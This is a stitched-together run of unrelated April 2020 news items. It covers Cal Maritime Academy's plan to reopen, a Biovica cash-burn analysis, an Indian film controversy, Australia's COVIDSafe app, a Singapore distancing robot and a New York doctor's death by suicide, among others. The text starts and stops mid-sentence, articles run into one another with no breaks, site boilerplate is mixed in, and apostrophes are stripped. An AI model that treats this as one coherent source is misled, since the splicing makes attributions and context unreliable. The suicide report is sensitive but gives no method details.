on your social media for us and then we'll pay you," the job description reads. Within your feedback you'll be expected to analyse things like how discreet the packaging is, how secure delivery is, instruction clarity and product usability, sense of comfort around ergonomics and size, and, crucially, whether or not the toy hit your pleasure spot. "It's our goal to make orgasms exceptional and we need the right sex toy testers to enforce that. It doesnt matter if youre new to sex toys or familiar with our range - were all about passion at Ricky," it continues. "Using your valuable feedback, ideas and contributions, we will continue to enhance our range of sex toys to deliver the best in pleasure for our customers. If you think you know what a delicate speed change can do for orgasms, or how discreet packaging can improve the customer journey this is the gig for you." Every public college in California plans to continue remote learning at least through the summer session to stem the coronavirus outbreak, except one. The Cal Maritime Academy in Vallejo could start face-to-face classes in late May. In addition, the small campus nestled up against the Carquinez Bridge hopes to continue its annual summer training cruise, sending about 350 students and staff on a 62-day trip despite a 100-day ban on commercial cruises issued by the Centers for Disease Control and Prevention. The trip, part of a graduation requirement for cadets, could leave as soon as June despite virus outbreaks aboard cruise ships and naval vessels making international headlines. On Friday, school president Thomas Cropper sent a letter to the campus lauding the efforts by its COVID-19 task force and academic leadership team to get approval by Gov. Gavin Newsoms office for a limited reopening of the campus for face-to-face instruction to complete the spring semester. This decision was run through the Chancellors Office and various internal entities of the Governors office, including the State Department of Public Health, who provided additional guidance consistent with our current plan, Cropper wrote. I know this offers us the opportunity to get seniors to graduation and to keep the rest of the Corps of Cadets on track to a timely graduation. But a Cal Maritime faculty member who spoke to The Chronicle criticized the decision. The president is dead set for the ship to go to sea over the summer, said the faculty member, who asked to be anonymous because they were not authorized to speak to the media. The training ship is smaller and closer quarters than a cruise ship. Some parts have 30 kids per berthing area. And nobody on campus has talked about a contingency if someone gets sick aboard the ship. The Chronicle agreed to withhold the name of the source, in accordance with its anonymous sources policy. That decision was unique among the 10 University of California campuses, 114 community colleges and 22 Cal State universities. None of those colleges plan to open campuses for face-to-face classes this summer, let alone spring semester. Some campuses, on a limited basis, have allowed training to continue for first responders police, fire and frontline health care workers using social distancing guidelines, said Paul Feist, vice chancellor of communications and marketing for Californias community college system. The CSU Maritime Academy trains merchant marines, and the maritime workforce is required for shipping and logistics, said Newsom press secretary Jesse Melgar. The administration has provided conditions that must be met for the Academy to resume limited in-person instruction for 513 merchant marine officer cadets after May 10, including strict, unique health and safety guidelines. ... This is the only academy of its kind in the state and does not serve as a precedent for other colleges or universities in California. Inside the Newsroom Anonymous sources: The Chronicle strives to attribute all information we report to credible, reliable, identifiable sources. Presenting information from an anonymous source occurs extremely rarely, and only when that information is considered crucially important and all other on-the-record options have been exhausted. In such cases, The Chronicle has complete knowledge of the unnamed person's identity and of how that person is in position to know the information. The Chronicle's detailed policy governing the use of such sources, including the use of pseudonyms, is available on sfchronicle.com. See More Collapse Bob Arp, Cal Maritines vice president for university advancement, said the uniqueness of the 900-cadet campus allowed for the exemption. Were providing essential workers to an essential workforce, Arp said. Being a maritime academy, much of the curriculum can only be completed face to face. About 400 members of the student body completed online learning over the past month. But more than 500 students need face-to-face instruction such as small-boat handling to graduate or receive Coast Guard licensing. Those courses cant be taught digitally, Arp said. Arp said the dates for face-to-face-instruction resumption are flexible, but would start no earlier than May 20. Because only half the campus would be returning, cadets would be housed in their own rooms, receive food deliveries to their dorms and medical screenings. In-person classes would be taught with social distancing, and in the event that is not possible, students would be required to wear protective gear. The CDC announced on April 9 that its no-sail order for cruise ships would extend to 100 days, ending July 18. The order came after high-profile cases of coronavirus outbreaks at sea, including 10 cruise ships and an infected U.S. Navy aircraft carrier. The measures we are taking today to stop the spread of COVID-19 are necessary to protect Americans, and we will continue to provide critical public health guidance to the industry to limit the impacts of COVID-19 on its workforce throughout the remainder of this pandemic, CDC Director Robert Redfield said at the time. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Arp said the training ship Golden Bear is exempt from the no-sail order, and safety precautions have been put into place. Were not a commercial cruise ship, were classified as a training ship, he said. We fall under a very different protocol. Arp said the cruise was tentative with no set date and the crew would be quarantined for seven days on the ship in dock before sailing. The cruise would be required to travel within a days sail of a U.S. port, and the school is working to find testing for everyone before they board. On April 1, in a video address to cadets, Cropper said the cruise was a priority if done safely: Im saying when, not if, that is our mind-set and that is our intention. But the Golden Bear is more susceptible to virus spread than a cruise ship, the faculty member said, because the berthing rooms are not isolated and the quarters are tighter. Of course, theyll say that training ships are exempt, and are not cruise ships, the staff member said. But the virus doesnt know the difference. The Vallejo school is one of seven maritime academies in the country, two in New York, and one each in Massachusetts, Maine, Texas and Michigan. Those institutions are also weighing decisions on whether to sail this summer. Matthias Gafni is a San Francisco Chronicle staff writer. Email: matthias.gafni@sfchronicle.com Twitter: @mgafni Touching upon the campaign against the Catholicos of All Armenians, deputy of the Prosperous Armenia faction of the National Assembly of Armenia Vardan Ghukasyan today told reporters that only saints can talk about the Catholicos of All Armenians. Out of the 132 Catholicoses of the Armenians, only 12 are among the saints. In general, kings and catholicoses are selected by God. People in Armenia have left everything behind and gone after the Catholicos to replace him. I dont believe its right to change the Catholicos like this. People are discrediting everyone, starting from the Catholicos and ending with doctors, the deputy said. Asked if it was right for the Catholicos to talk about second President of Armenia Robert Kocharyans custody and if he still thinks Robert Kocharyan needs to be in liberty, Ghukasyan said the following: I have given an affirmative answer to that question a thousand times. The Armenian Church says let the oppressed and prisoners be in liberty and go on with your lives. When told that many citizens say the Catholicos didnt say a word when ten people were killed during the events of March 1, 2008, Ghukasyan said he remembers that the Catholicos came out and asked everyone to be in solidarity and disallow bloodshed. Harbor Springs school board authorizes May bond proposal During Monday's meeting, the board unanimously adopted a resolution to authorize the bonding proposal, with the election scheduled for Tuesday, May 3. Even when a business is losing money, it's possible for shareholders to make money if they buy a good business at the right price. For example, biotech and mining exploration companies often lose money for years before finding success with a new treatment or mineral discovery. But the harsh reality is that very many loss making companies burn through all their cash and go bankrupt. Given this risk, we thought we'd take a look at whether Biovica International (STO:BIOVIC B) shareholders should be worried about its cash burn. In this article, we define cash burn as its annual (negative) free cash flow, which is the amount of money a company spends each year to fund its growth. First, we'll determine its cash runway by comparing its cash burn with its cash reserves. View our latest analysis for Biovica International How Long Is Biovica International's Cash Runway? A company's cash runway is calculated by dividing its cash hoard by its cash burn. As at January 2020, Biovica International had cash of kr52m and no debt. In the last year, its cash burn was kr28m. That means it had a cash runway of around 22 months as of January 2020. While that cash runway isn't too concerning, sensible holders would be peering into the distance, and considering what happens if the company runs out of cash. The image below shows how its cash balance has been changing over the last few years. OM:BIOVIC B Historical Debt April 28th 2020 How Is Biovica International's Cash Burn Changing Over Time? Although Biovica International had revenue of kr12m in the last twelve months, its operating revenue was only kr11m in that time period. We don't think that's enough operating revenue for us to understand too much from revenue growth rates, since the company is growing off a low base. So we'll focus on the cash burn, today. Over the last year its cash burn actually increased by 15%, which suggests that management are increasing investment in future growth, but not too quickly. That's not necessarily a bad thing, but investors should be mindful of the fact that will shorten the cash runway. Clearly, however, the crucial factor is whether the company will grow its business going forward. So you might want to take a peek at how much the company is expected to grow in the next few years. Story continues Can Biovica International Raise More Cash Easily? Given its cash burn trajectory, Biovica International shareholders may wish to consider how easily it could raise more cash, despite its solid cash runway. Generally speaking, a listed business can raise new cash through issuing shares or taking on debt. One of the main advantages held by publicly listed companies is that they can sell shares to investors to raise cash to fund growth. By looking at a company's cash burn relative to its market capitalisation, we gain insight on how much shareholders would be diluted if the company needed to raise enough cash to cover another year's cash burn. Since it has a market capitalisation of kr369m, Biovica International's kr28m in cash burn equates to about 7.7% of its market value. That's a low proportion, so we figure the company would be able to raise more cash to fund growth, with a little dilution, or even to simply borrow some money. How Risky Is Biovica International's Cash Burn Situation? Even though its increasing cash burn makes us a little nervous, we are compelled to mention that we thought Biovica International's cash burn relative to its market cap was relatively promising. Cash burning companies are always on the riskier side of things, but after considering all of the factors discussed in this short piece, we're not too worried about its rate of cash burn. Taking an in-depth view of risks, we've identified 5 warning signs for Biovica International that you should be aware of before investing. Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of companies insiders are buying, and this list of stocks growth stocks (according to analyst forecasts) If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. By Express News Service Following the digital release of Dulquer Salmaans latest Malayalam film Varane Avashyamund, social media has seen some varied and interesting discussions, especially among Tamil viewers, as a large chunk of the film was shot in Chennai. Some of the responses were not exactly what the makers expected. A misunderstanding about one scene has upset a section of Tamil viewers who have misinterpreted it as an attack on Velupillai Prabhakaran. One Twitter user has pointed out a scene where Suresh Gopi calls his dog Prabhakara, saying that they were gravely offended by the deliberate slander on their Tamil leader Velupillai Prabhakaran, and demanded an apology from Dulquer and director Anoop Sathyan. When we reached out to the makers, they said they have been receiving too many abuses on social media which were directed not only at them but also their family members, some of whom are senior actors. Following this, Dulquer, who is also the producer, put out a statement to clarify the real intention behind the said scene, which is actually a reference to an iconic dialogue from Pattanapravesham, a popular film made by Anoops father, Sathyan Anthikad. The comical nature of the latter scene, in which Thilakan addresses Karamana Janardhanan Nair as Prabhakara! has now become part of Malayali pop culture lexicon. Dulquer has also posted the clip from that film for further clarification. In this statement, Dulquer wrote, A lot of people have brought to my notice that the Prabhakaran joke in Varane Avashyamund is insulting to the Tamizh people. It was not intentional. The joke is a reference to an older Malayalam film Pattanapravesham and is a common meme in Kerala. It is a common name in Kerala as well so it wasnt directed at any person living or dead as our disclaimer mentions in the beginning of the film. Most people reacting are doing so without watching the film and are trying to spread hate. Hating on me and my director Anoop we can accept. Kindly keep it to us and not our fathers or senior actors from the film. I apologise to all of the good and kind tamizh people who felt offended. I have never intended to offend anyone through my films or my words. Its genuinely a misunderstanding. P.S. Some of you are being extremely abusive, threatening, deliberately hurtful and insulting family along with us. I wish that werent so.Director Anoop too has offered a statement about the controversy. He said, I was noticing the abusive posts/tags towards us about this particular funny sequence from our film Varane Avashyamund with the name Prabhakaran in it. At first, I thought its better to ignore the negativity. Then, it got infectious and I believe I should officially make it clear as the writer-director of the film. The sequence is a direct reference from the Malayalam film Pattanapravesham. A hilarious scene, which is a common meme/sticker/troll because of its genuine humour. It got no reference to the LTTE leader Prabhakaran. To all those who were offended. I apologise. And I also apologise on behalf of #VaraneAvashyamund and @DQsWayfarerFilm ! pic.twitter.com/erbjftlNbj dulquer salmaan (@dulQuer) April 26, 2020 As Dulquer mentioned Prabhakaran is a very common middle-aged mans name in Kerala, including few of my close people/relatives. So I was very conscious to make this a harmless joke too. The film was based in Chennai because of my love for Tamil people and their culture. So I apologise to all of those who got hurt because of the misleading posts. To the abusers/troublemakers: I have travelled in Northern Srilanka, post-war including Jaffna, Killinochi, Mullaitivu, Vavuniya etc... I personally have heard about their struggles and I do empathise with them. I made many Tamil friends in Srilanka!Please watch Varane Avashyamund, with a lighter heart now! There is nothing offensive; just positive and heart-warming things. In-fact some online-reviewers blame me for being positive. By Express News Service BHUBANESWAR : Odisha Chief Minister Naveen Patnaik on Monday sought an uniform standard operating procedure (SOP) for the entire country for return of people from other states to their homeland. The issue was raised by Naveen during the videoconference of Prime Minister Narendra Modi with CMs on management of coronavirus pandemic in the country. There should be a national SOP for smooth movement of stranded persons including students, workers, pilgrims, patients and professionals, the Chief Minister said. He also emphasised improvement of testing facilities for detection of Covid-19 cases. ALSO READ | Lockdown: Odisha seeks special trains to evacuate labourers stuck in other states Official sources said so far 4.86 lakh people from Odisha in other states have registered in the Government portal to return home. About 15,000 buses will be required to bring them back. Though Odisha Government is ready to have all the workers home, it has requested the Centre to ensure that they are tested before their return. Sources said the Chief Minister also wanted the nationwide lockdown to be extended beyond May 3. State Health Minister Naba Kishore Das, who was present at the meeting, also hinted that extension is likely. There is a need to extend the Covid-19 lockdown for another month. Even Health ministers of other states suggested it during our earlier discussion, he said. Das said, the Centre is likely to come up with a clear guideline by April 30 with regard to bringing migrants home. As a precautionary measure, we had requested states to conduct Covid- 19 testing of migrants before sending them to Odisha. The good thing is they have agreed to our demand. Meanwhile, 228 migrant workers from Surat in Gujarat have already started their homeward journey in four special buses arranged by the Gujarat Government. IAS officer in-charge of Gujarat, Nitin Jawale said the return of the migrant workers today has taken place as per the decision taken by Naveen Patnaik and his counterpart Vijay Rupani. A rice mill of Angkor Kasekam Roongroeung Co. in Kandal Province near Phnom Penh (Photo courtesy of Aura Green Energy) The two companies plan to build a plant for power generation using rice husk as fuel in a rice mill near Phnom Penh, along with solar panels. Under the 400 million yen (3.7 million USD) project, the combined green energy facilities, with a total output capacity of 1,500 kW, will supply power to the rice mill of Angkor Kasekam Roongroeung Co., a major local rice producer, in Kandal province adjacent to the capital, with a plan to sell any surplus to a local power company. The two Japanese companies established a joint venture in Cambodia in February for the business. The project is partly subsidised by the Japanese government, at about 110 million yen, under the Joint Crediting Mechanism, a greenhouse gas emission reduction plan to exchange reduced carbon dioxide emissions. Aura Green Energy estimates the project will contribute to cutting 1,316 tonnes of CO2 emissions annually from the biomass power generation and 565 tonnes from solar power. The renewable energy producer is undertaking biomass and hydropower generation projects in Indonesia. Retroactive tax alterations to buffer cash flow for businesses (illustration photo) In a bid to tackle tax evasion and implement international best practices, the Vietnamese government promulgated 2017s Decree No.20/2017/ND-CP on providing tax administration applicable to enterprises with related party transactions. Through the decree, Vietnam has taken a significant step forward in dealing with transfer pricing issues in line with international practice. However, the regulations may not be suitable to a number of enterprises in some specific industries, according to experts. Many businesses in capital-intensive industries such as real estate or construction have said they are facing difficulties with the regulation on the cap on interest. Specifically, under Article 8.3 of Decree 20, a taxpayers total loan interest expenses arising within a specified tax period qualified as a deduction from income subject to corporate income tax shall not exceed 20 per cent of total net profit generated from business activities, plus earnings before interest, taxes, depreciation, and amortisation expenses within that period. This regulation is currently applied by the local tax authority to enterprises having transactions with related parties, including domestic and foreign-invested ones. In Vietnam, many enterprises operating under the parent-subsidiary model often incur lending transactions, in which parent companies borrow from third parties and lend to subsidiaries. Highly-leveraged companies, including those in sectors such as real estate, private equity, or infrastructure are likely to be most significantly affected groups. Recently, the prime minister requested the Ministry of Finance to complete a draft decree on tax refunds during 2017-2018 for enterprises which incurred huge amounts of wrongly charged tax. The reimbursement amount is estimated at nearly VND5 trillion ($217.4 million). The draft amendment is aimed to remove difficulties for enterprises during the implementation of this regulation in practice, while simultaneously reducing capital challenges for those in the pandemic period. The interpretation and application of Article 8.3 of Decree 20 has been very unreasonable and controversial and business communities have raised them over the last few years. So it will be welcomed by taxpayers if the government increases the cap and allows offsetting of overpaid tax by retroactive application of the new decree, Nguyen Thanh Vinh, partner and head of Tax, Customs and Trade in Vietnam at Baker McKenzie told VIR. Nguyen Tran Nam, chairman of the Vietnam Real Estate Association said, Vietnamese authorities have gone into great lengths to improve the business climate for the business community. The upcoming draft amendment is slated to benefit those that have been put on a razors edge because of wrongly charged tax in that period. Firms would be given a fair crack of the whip thanks to this retroactive assessment, insiders said. Thus, the amendment will help to mitigate obstacles of the parent-subsidiary business model in Vietnam according to the Law on Enterprises, added Nam. The prompt action would also buffer businesses liquidity, since it would reduce the payable tax amount as well as further boost the ability to balance their cash flow to weather the storm caused by the current pandemic. However, experts also cautioned there would be no one-size-fits-all approach for all taxpayers. While this favourable retroactive application is much appreciated and welcome, it may not satisfactorily cover all costs and impacts suffered by taxpayers being subject to the application of Article 8.3 of Decree 20 and overpayment of tax for three years, Vinh noted. As Gov. J.B. Pritzker prepares to implement his third emergency order to reduce the spread of COVID-19, new legislation would require the governor to get permission from the General Assembly instead. The legislation filed by state Sen. Dan McConchie, R-Hawthorn Woods, would still allow the governor the ability to declare a state of emergency and use executive orders like Pritzker has done, but once that initial 30-day order is up, lawmakers would have to convene and vote to allow the governor to do it again. Australians are divided on their reaction to the government's coronavirus tracking app in the first day after it was launched. COVIDSafe went live at 6pm on Sunday and was downloaded two million times in its first 36 hours, holding a 4.6 out of five Android app rating. Prime Minister Scott Morrison said 40 per cent of the population needed to install the app for it to be effective. COVIDSafe went live at 6pm on Sunday and was downloaded two million times in its first 36 hours, holding a 4.6 out of five Android app rating Reaction to the app was hampered in the hours after its release by technical problems that prevented many people from signing up. 'My phone number has been deemed invalid so I can't sign up,' was a regular theme in a deluge of one-star reviews on Sunday night. Many of the users had simply installed the app too early and needed wait until after 6pm before the registration would work. Reviews improved when more people were able to get the app working, with the rating jumping from 3.7 to 4.6 out of five. However, many people were on Monday still saying the app thought their number was invalid and wouldn't let them register. The government began a full-throated charm offensive, spruiking it as a prerequisite to swiftly end strict lockdown measures. Dozens of MPs on all sides of politics took to social media to show they had installed COVIDSafe and implored their followers to do the same. Protesters in Perth this weekend demand the lockdowns end but that may be tied to everyone signing up to the app Many people were on Monday still saying the app thought their number was invalid and wouldn't let them register Reviews improved when more people were able to get the app working, with the rating jumping from 3.7 to 4.6 out of five Social media was soon filled with everyday Australians showing off screenshots proving they had signed up, or posting positive reviews in app pages Celebrities eager to look like team players made similar pleas to their millions of fans and media figures used their platforms to urge compliance. Even ACTU secretary Sally McManus wrote: 'I downloaded the COVIDSafe app because I just assume they track everything I do anyway and at least this might save lives.' Social media was soon filled with everyday Australians showing off screenshots proving they had signed up, or posting positive reviews in app pages. 'Very happy to download this app. If needed by medical personnel, the information gathered will help to assist with contacting people that may have come into contact with a coronavirus carrier, and that can only be a good thing,' one wrote. 'The naysayers and scaremongers need to grow up and download this app to help out their fellow Australians during this pandemic.' However, not everyone was convinced - primary because they didn't want the government potentially having access to any of their data. Even ACTU secretary Sally McManus was on board with the app and promoting its use This image was soon plastered all over social media by politicians, celebrities, and everyday Australians advertising that they had signed up Billionaire chief executive of software firm Atlassian, Mike Cannon-Brooks, urged fellow IT gurus to be positive about the app Mr Morrison, health chiefs, and others have promised no one can access any data unless the user tests positive to coronavirus. It is then only accessible to health authorities who will contact all the app users who were a close contact to have them tested. Otherwise, the data is stored securely on the user's phone and deleted after three weeks never to be seen again. The Australian Council for Civil Liberties, unusually for it, favours the app, provided police are barred from accessing the data, as the government has promised. 'Manual contact tracing is far too slow and far too resource intensive,' its president Terry O'Gorman told Daily Mail Australia. 'It does have the potential to aid significantly in controlling this pandemic - we support it but only with significant privacy protections.' Law enforcement and all non-health government agencies will be legally banned from accessing it, but legislation to enforce this won't be in effect until after parliament sits again on May 12. But many Australians simply don't trust the government to be honest with how it will use any data collected, or competent enough to prevent it being hacked. Much was said about its record on data breaches, privacy, and abuses of power since it came to office under Tony Abbott in 2013. 'Regardless of if the COVIDSafe app is technically secure, the Australian government has botched public trust in data sharing so badly over the past decade that the uptake of the app is likely to be low,' Cryptoparty founder Asher Wolf wrote. Others were sceptical of the main drawcard for the app - that it will actually help end lockdowns sooner so people can get back to normal life. Mr Morrison pledged the app was voluntary, but some people were concerned he would go back on this, or would hold the country to ransom if the 40 per cent target was not achieved. 'It won't be so much a threat as pure emotional blackmail or a trade off for our lives back,' one wrote. The tech community, who within minutes of the app launching were analysing its code, is also divided over whether it is safe to use. But many Australians simply don't trust the government to be honest with how it will use any data collected, or competent enough to prevent it being hacked Others were sceptical of the main drawcard for the app - that it will actually help end lockdowns sooner so people can get back to normal life Australians who sign on to the app receive a screen message promising their privacy will be protected. Pictured is a sign-in message CovidSafe permissions are LESS invasive than Facebook The new CovidSafe app which uses bluetooth technology to trace coronavirus contacts with encrypted data has far less invasive permission setting requests than Facebook, which most people have on their phones. COVIDSAFE ASKS FOR: * Network access, bluetooth settings * Access location * Ignore battery optimisation * Pair with bluetooth devices FACEBOOK ASKS FOR: * Access bluetooth * Pair with bluetooth devices * Access location * Camera access to take pics, video * Add or modify your calendar events and send email to guests without your knowledge * Modify your contacts * Record audio with the microphone and change your audio settings * Download files without notification * Connect and disconnect from Wi-Fi and view Wi-Fi connections * Prevent your phone from sleeping * Receive data from the internet Updates to Facebook may automatically add capabilities to what it can do to your phone Advertisement Billionaire chief executive of software firm Atlassian, Mike Cannon-Brooks, urged fellow IT gurus to be positive about the app. 'When asked by non technical people 'Should I install this app? Is my data / privacy safe? Is it true it doesn't track my location?' - say 'Yes' and help them understand,' he said on a developer forum. 'Fight the misinformation. Remind them how little time they think before they download dozens of free, adware crap games that are likely far worse for their data & privacy than this ever would be!' Mr Cannon-Brooks said the tech community should help the government find and remove bugs and vulnerabilities from the app, not tear it down. Others created a collaborative Google doc to pool resources and analyse the various technical aspects of the app. But other IT experts had reservations like Jim Mussared who posted a technical review of the app on Facebook. Another found several security and privacy holes and warned against downloading the app. 'Vulnerabilities discovered so far: High risk to man in the middle attacks. File references are only deleted, not the file itself,' they wrote. 'Potential that if you delete the app, it will remain on your phone. Likely can be backdoor-ed by the government.' They also wrote that the app was too easy to clone and create one that looked similar enough to scam people into downloading it and stealing their data. Some technology experts said they could not support downloading the app until they looked at the source code, which the government has promised to release. The app uses Bluetooth technology to track users who come in close contact with people who have tested positive to coronavirus. Some people who tried to download the app reported there were issues getting confirmation emails, in having their phone numbers recognised, and that the app ceased sending a Bluetooth signal when the phone went into low power mode. Many Australians were horrified and confused when they were confronted with a screen telling them they had tested positive to coronavirus The button is below text reading 'has a health worker asked you to upload your information?' and is the most obvious call to action on the front page of the app Some Australians were also alarmed and confused by a message telling them that they had contracted coronavirus, despite not being tested. 'You have tested positive for COVID-19,' the message read. 'Unless you consent, your contact information will not be uploaded. 'If you consent, your contact information will be uploaded and shared with State or Territory health officials for contact tracing purposes.' The message flashes up if the user hits the button which ways 'Upload my Information' on the home screen of the app. However that button is below text which reads 'Has a health worker asked you to upload your information?' and should only be pressed if the user has actually been diagnosed with coronavirus. AUSTRALIA'S COVIDSAFE APP - WHAT YOU NEED TO KNOW The COVID-19 contact tracing app is called COVIDSafe. It only works on smartphones and can be downloaded from the Apple or Google app stores. Use of the app is voluntary. PURPOSE * To identify people who may have come into contact with someone who has COVID-19 so that they can be advised to take measures to help stop the spread of the disease or get tested. REGISTRATION Registration will require users to input their: * mobile phone number - so they can be contacted if needed for contact tracing. * name - so the relevant health officials can confirm they are speaking to the right person, although the Health Minister says you can use a fake name if you want. * age range - so health officials can prioritise cases for contact tracing. * postcode - to make sure health officials from the right state and territory are dealing with your case. COVIDSAFE IN USE The app will record the following contact data: * the encrypted user ID. * date and time of the contact. * the Bluetooth signal strength of other COVIDSafe users you come into contact with. This will be logged every two hours in the National COVIDSafe data store. * No location data will be collected at any time. * Contact data stored on a device will be deleted after 21 days. * All data stored will be deleted once the pandemic has concluded. PRIVACY * Personal information collected via COVIDSafe will handled in accordance with the Privacy Act 1988 and the Biosecurity Determination 2020. * There will be criminal penalties and anyone breaches someone's privacy. Source: Australian Government Department of Health Advertisement A spokesman for Government Services Minister Stuart Robert said the message was not a flaw, and the app was working as intended. 'You don't upload if you haven't tested positive, that's the whole point of the app,' they told Daily Mail Australia. 'You're only supposed to push that button if you've been asked to by a health official if you've tested positive.' However, users said they were concerned at receiving the alarming message after having mistakenly pressed the 'Upload my Information' button. 'There was a split second of panic before I realised I hadn't even been tested and couldn't be sick,' one alarmed user said. Another shocked user said that feature of the app could have been designed better. 'Nowhere does it say 'click if you've been diagnosed with coronavirus' or 'have you tested positive for COVID-19?',' they said. 'Even a first-year computer science student could have worked that out.' CovidSafe went live at 6pm on Sunday and has been downloaded 500,000 times as Australians hope to further flatten the infection curve Once a user agrees to share their information they are required to input a code given to them by the health official to continue the process. A survey by Newspoll indicated the government was likely to get the requisite 40 percent of the population downloading the app. The survey showed 54 per cent of respondents intended to sign up against 39 per cent who vowed they would not, chiefly on privacy grounds. 'Australians will rise to the challenge because they have risen to the challenge of distancing, they have risen to the challenged of testing,' chief medical officer Brendan Murphy said. If the 54 per cent download rate is borne out in coming days, it would give the Australian app a far higher acceptance than similar apps used overseas, where numbers had not risen above a quarter of the population. Part of that acceptance could stem from government assurance about privacy provisions, with collected data only able to be accessed by health professionals and will not be made available to police or intelligence services. Copyright 1995 - . All rights reserved. The content (including but not limited to text, photo, multimedia information, etc) published in this site belongs to China Daily Information Co (CDIC). Without written authorization from CDIC, such content shall not be republished or used in any form. Note: Browsers with 1024*768 or higher resolution are suggested for this site. 0108263 License for publishing multimedia online Registration Number: 130349 Registration Number: 130349 - The robot moves on four wheels, is equipped with sensors and 360-degree cameras to monitor movement of people - It sends reports to authorities who watch remotely for them to intervene and enforce guidelines if breached - As of Tuesday, Singapore had recorded 14,951 cases of the virus which included 14 deaths and 1,095 recoveries As countries in the world continue to zoom in on effective ways of flattening the curve of coronavirus infections, technology has emerged to be very resourceful in dealing with the pandemic. TUKO.co.ke has learnt that apart from developing robots that fumigate streets, authorities in Singapore have also deployed a high-tech autonomous robot that reminds people to keep social distance. READ ALSO: Vihiga: Locals wake up to 2 empty coffins containing blood stains and chicken feathers A man cycles past the roaming robot in a park in Singapore. Photo: Russ Vlog. Source: Facebook READ ALSO: Panic as quarantined Kenyans threaten to jump from three-storey building at KU hospital The bot has been assigned duty at a busy park in the South East Asian country and apart from telling people to stay at least six feet apart, it urges them to stay at home in a bid to stem infection. Rolling on four wheels, the O-R3 is equipped with sensors, 360 degrees cameras and updates authorities monitoring its movements remotely of any breaches. READ ALSO: Walifungua baa, kanisa, misikiti ifunguliwe pia tuombe, Gavana Sonko asema "To curb the spread of COVID-19, gatherings at this park are not allowed. Please practise safe distancing at all times and do not loiter in this park. Stay safe. Stay at home," the robot goes. Authorities in Singapore, according to a report filed by The Straits Times, deployed the bot at the park since the venue attracted a lot of people doing physical exercise, resting and even idlers. This, they said, was likely to threaten the success of the circuit breaker period they were in if proper caution was not taken by citizens. "The robot patrols around the reservoir and broadcasts messages in four languages, reminding visitors to refrain from gathering or loitering at the reservoir parks and to adhere to safe distancing requirements," an official at the park was quoted by The Straits Times on Tuesday, April 28. A child stares at the talking robot in a recreation park in Singapore. Photo: Russ Vlog. Source: UGC Other countries, for instance, Italy as earlier reported by TUKO.co.ke, had enlisted services of robots to help monitor COVID-19 patients in hospitals. Rwanda had also adopted the use of drones to educate citizens about the disease. As of Tuesday, April 28, Singapore had recorded 14,951 cases of the virus which included 14 deaths and 1,095 recoveries. The robot is equipped with sensors and 360-degree cameras. Photo: Russ Vlog. Source: UGC Kenya had registered 363 cases, 14 deaths and 114 recoveries. Globally, since the disease broke out in China in December 2019, some 3,066,452 cases of the infection had been registered out of which 211,665 lives had been claimed and 923,468 others had recovered. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. He was married to another woman for ten years and I had no idea - Angela Nzilani |Tuko Talks|Tuko TV. Source: TUKO.co.ke A top New York City doctor has taken her own life after battling coronavirus on the frontline, officials have said. Dr Lorna Breen, medical director of New York-Presbyterian Allen Hospital's emergency department, died of self-inflicted injuries on Sunday, police said. The 49-year-old died in Charlottesville, Virginia, where she had been staying with her family. In a statement, the Charlottesville Police Department said Dr Breen succumbed to self-inflicted injuries after being rushed to UVA Hospital on Sunday evening. The 49-year-old's father, Dr Philip Breen, said she had described devastating scenes of the toll the coronavirus took on patients. New York currently accounts for 17,500 out of America's coronavirus 56,000 deaths. He told the New York Times: "She tried to do her job and it killed her. New York's Coronavirus outbreak - In pictures 1 /34 New York's Coronavirus outbreak - In pictures The Supermoon rises behind the Empire State Building while it glows red in solidarity with those infected with coronavirus as the outbreak of the disease (COVID-19) continues in the Manhattan borough of New York City Reuters A nearly empty Times Square AFP via Getty Images Riders, some wearing masks and gloves as a protective measure over coronavirus concerns, enter a New York City subway train AP People try to keep a social distance while they enjoy a sunny day at Central Park Reuters Nadia, a 4-year-old female Malayan tiger at the Bronx Zoo, that the zoo said on April 5, 2020 has tested positive for coronavirus disease WCS/Handout via Reuters People wear face masks AFP via Getty Images A man crosses a nearly empty 5th Avenue in midtown Manhattan Reuters US President Donald Trump looks on during the daily briefing on the novel coronavirus, COVID-19, in the Brady Briefing Room at the White House on March 31, 2020, in Washington, DC AFP via Getty Images Felix Hassebroek waves to his classmates, who he has not seen in 2 weeks through a livestream video meet up during the outbreak of coronavirus disease (COVID-19) in Brooklyn, New York Reuters Friends and neighbors, Sarah and Elizabeth, talk about their weekends from opposite sides of the road as they maintain social distance in a neighborhood in Syracuse, New York Reuters Light morning traffic seen on the FDR drive on March 24, 2020 in New York City AFP via Getty Images A subway customer uses a tissue to protect her hand while holding onto a pole AP Workers construct what is believed to be a makeshift morgue behind a hospital during the outbreak of coronavirus disease (COVID-19), in the Manhattan borough of New York City Reuters Beds separated by black fabric are set up as a temporary field hospital for Covid-19 patients in Queens, New York AFP via Getty Images New York's Hart Island where the department of corrections is dealing with more burials Reuters Medical workers wait for patients at a special coronavirus intake area in New York Getty Images Patients wear personal protective equipment while maintaining social distancing as they wait in line for a COVID-19 test at Elmhurst Hospital Center AP The One World Trade Center tower in Manhattan is seen illuminated in blue light Reuters Pictures drawn by children as part of the Quarantine Rainbow Project in Brooklyn, New York Reuters U.S. Army National Guard personnel load boxes of free food provided by multiple New York City agencies into a taxi for distribution to local residents in the Harlem neighbourhood of Manhattan during the outbreak of the coronavirus disease (COVID19) in New York Reuters Traders work during the closing bell at the New York Stock Exchange (NYSE) on March 17, 2020 at Wall Street in New York City AFP via Getty Images A man in a wheelchair crosses a nearly empty 7th Avenue in Times Square in Manhattan Reuters Getty Images Getty Images Getty Images REUTERS She was truly in the trenches of the frontline, he added. The elder Dr Breen also spoke of how his daughter had contracted Covid-19 but had gone back to work after recuperating. But the hospital sent her home again, before her family intervened to bring her to Charlottesville, he said. He added that his daughter had had no history of mental illness although he could tell something was wrong when they last spoke. In a statement, New York-Presbyterian Allen Hospital said: Dr Breen is a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department. Charlottesville Police Chief 